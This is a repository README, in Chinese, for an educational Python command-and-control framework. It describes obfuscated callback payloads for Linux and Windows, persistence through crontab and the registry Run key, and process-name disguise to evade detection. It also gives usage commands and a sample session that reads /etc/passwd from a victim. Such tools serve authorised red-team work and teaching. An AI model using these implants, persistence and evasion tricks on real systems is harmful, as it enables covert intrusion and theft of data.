httpbnry/entropy

GitHub: httpbnry/entropy

一个轻量级的 Python C2 框架,通过 Fernet 加密实现跨平台远程控制,专注于教学与研究中对命令与控制通信的演示。

Stars: 1 | Forks: 0

# Entropy C2 框架 **作者:** jdb / httpbnry **Entropy** 是一个客户端-服务器命令与控制(C2)框架,设计重点在于隐蔽性、点对点加密和模块化。本项目是为计算机系统管理(ASIR)的毕业设计(TFG)而开发的。 ### 功能特性 | 类别 | 特性 | |-----------|----------------| | **加密** | 使用 Fernet(AES-128)进行点对点加密通信 | | **CLI** | 带有参数的命令行界面,支持 `generate` / `handler` 风格,基于 argparse | | **Handler** | 支持多会话的交互式 Shell,带有颜色,支持 `download`、`upload`、`ping`、`info`、`selfdestruct` | | **Payloads** | 使用单个命令即可生成适用于 Linux 和 Windows 的载荷 | | **混淆** | 3 种模式:`none`(可读)、`xor`(XOR + base64)、`packed`(zlib + base64 存根) | | **EXE** | 可选择使用 PyInstaller 编译为可执行文件(`--onefile --noconsole`) | | **持久化** | Crontab (Linux) / 注册表 `HKCU\...\Run` (Windows) | | **规避** | 进程重命名为 `[kworker/0:0]` / `svchost.exe`,全面捕获异常 | | **重连** | 如果连接丢失,每 30 秒循环重连 | | **自毁** | 移除持久化,从磁盘删除自身并退出 | ## 架构 ``` +-----------------+ Cifrado Fernet +-----------------+ | Handler (C2) | <------------------------> | Agent (Victim) | | (entropy.py) | TCP + AES-128 | (payload.py) | +-----------------+ +-----------------+ ``` - **Handler**:具有多会话交互式 Shell、ANSI 颜色、文件传输和 Agent 管理功能的 C2 服务器。 - **Agent**:在远程机器上运行的 Payload。支持持久连接、可配置混淆、自毁以及文件上传/下载。 ## 系统要求 - Python 3.8+ - `pip install -r requirements.txt` ## 安装说明 ``` git clone cd entropy pip install -r requirements.txt ``` ## 快速使用 ``` # 生成用于 Linux 的 payload(无混淆) python3 entropy.py generate --ip 192.168.1.100 --port 4443 # 生成带有 XOR 混淆的 payload + 编译为 EXE python3 entropy.py generate --ip 192.168.1.100 --port 4443 --obf xor --exe # 生成压缩的 (packed) Windows payload python3 entropy.py generate --ip 10.0.0.5 --port 8080 --os windows --obf packed # 使用自动生成的密钥启动 handler python3 entropy.py handler --port 4443 --gen-key # 使用现有密钥启动 handler python3 entropy.py handler --port 4443 --key ``` ### 生成 Payload (CLI) ``` $ python3 entropy.py generate --help usage: entropy.py generate [-h] --ip IP [--port PORT] [--os {linux,windows}] [--obf {none,xor,packed}] [--exe] [--key KEY] [--output OUTPUT] [--name NAME] options: --ip IP Handler IP (obligatorio) --port PORT Puerto (default: 4443) --os {linux,windows} SO objetivo (default: linux) --obf {none,xor,packed} Ofuscacion (default: none) --exe Compilar a EXE con PyInstaller --key KEY Clave Fernet (auto-generada si se omite) --output OUTPUT Directorio de salida (default: payloads) --name NAME Nombre del archivo generado ``` 示例: ``` $ python3 entropy.py generate --ip 192.168.1.100 --port 4443 --os linux --obf xor [+] Payload: payloads/agent_linux_192_168_1_100_4443_obf.py [+] Key: ``` ### 启动 Handler (CLI) ``` $ python3 entropy.py handler --help usage: entropy.py handler [-h] [--port PORT] [--host HOST] [--key KEY | --gen-key] options: --port PORT Puerto de escucha (default: 4443) --host HOST Direccion de escucha (default: 0.0.0.0) --key KEY Clave Fernet --gen-key Generar nueva clave ``` ``` $ python3 entropy.py handler --port 4443 --gen-key [+] Generated key: [*] Starting handler on 0.0.0.0:4443 [*] Handler listening on 0.0.0.0:4443 ``` 当有 Agent 连接时: ``` [+] New session #1 from 192.168.1.50:54321 ``` ### Handler 的交互式 Shell ``` entropy(c2)> help Handler Commands: sessions List active agent sessions interact Interact with an agent session generate Generate an agent payload help Show this help message exit / back Return to main menu ``` ### 与 Agent 交互 ``` entropy(c2)> interact 1 [*] Interacting with session #1 (192.168.1.50:54321) [*] Type help for commands, back to return agent(#1)> help Commands: help Show this help back Return to handler ping Check if agent is alive info Show agent information download Download file from agent upload [remote] Upload file to agent selfdestruct Remove agent from system Execute any shell command agent(#1)> whoami root agent(#1)> download /etc/passwd [+] Downloaded 1234 bytes: /etc/passwd -> passwd ``` ## 特性详解 ### Handler - 带有颜色和信息提示的交互式 Shell - 多会话支持(threading) - 文件传输:`download` / `upload` - `ping` 命令,用于验证 Agent 的连通性 - `info` 命令,用于获取远程系统信息 - `selfdestruct` 命令,用于从系统中移除 Agent - 内联 Payload 生成(支持混淆和 EXE 编译) ### Linux Agent - 每 30 秒持久重连 - 通过用户的 crontab 实现持久化 - 规避检测:将进程重命名为 `[kworker/0:0]` (setproctitle) - 全面捕获异常(从不在屏幕上显示错误) - 通过 `/bin/sh -c` 执行命令 - 使用 base64 编码进行文件上传/下载 - 自毁:移除持久化,删除自身并退出 ### Windows Agent - 每 30 秒持久重连 - 通过注册表 (`HKCU\...\Run`) 实现持久化 - 规避检测:将控制台标题更改为 `svchost.exe` + `CREATE_NO_WINDOW` - 全面捕获异常 - 通过 `cmd.exe /c` 执行命令 - 使用 base64 编码进行文件上传/下载 - 自毁:移除持久化,删除自身并退出 ### 混淆 | 模式 | 描述 | |----------|--------------------------------------------------| | `none` | 代码可读,IP/PORT/KEY 为明文 | | `xor` | 使用随机字节 XOR 进行字符串混淆 | | `packed` | 通过 zlib + base64 压缩代码并打包至存根中 | ### 编译为 EXE 可选择使用 PyInstaller 将 Payload 编译为可执行文件 (`--onefile --noconsole`)。需要安装 PyInstaller。 ## 协议 1. 握手:Agent 在连接时发送 `encrypt("beacon")` 2. 命令:带有长度的 4 字节前缀 + 加密数据(Fernet) 3. 响应:相同格式(前缀 + 加密数据) 4. 带有 `__command__|` 前缀的特殊命令,用于 download/upload/自毁 ## 目录结构 ``` entropy/ +-- entropy.py # Entry point principal +-- modules/ | +-- __init__.py | +-- crypto.py # Cifrado Fernet (AES-128) | +-- handler.py # Servidor C2 y shell interactiva | +-- agent.py # Templates de agentes + generacion + ofuscacion +-- payloads/ # Payloads generados +-- requirements.txt # Dependencias +-- README.md +-- .gitignore ``` ## 法律声明 本工具仅出于教育目的和授权的安全审计而提供。未经授权将其用于访问系统是 非法行为。作者不对滥用行为承担责任。
标签:AES加密, Awesome, C2框架, DNS 反向解析, Fernet, IP 地址批量处理, Python, TCP通信, 云资产清单, 后门, 命令与控制, 嗅探欺骗, 安全学习资源, 安全防御 evasion, 攻击路径可视化, 无后门, 木马, 权限维持, 漏洞挖掘, 系统管理, 终端安全, 网络信息收集, 网络安全, 远程控制, 逆向工具, 逆向工程, 配置错误, 隐私保护, 黑客工具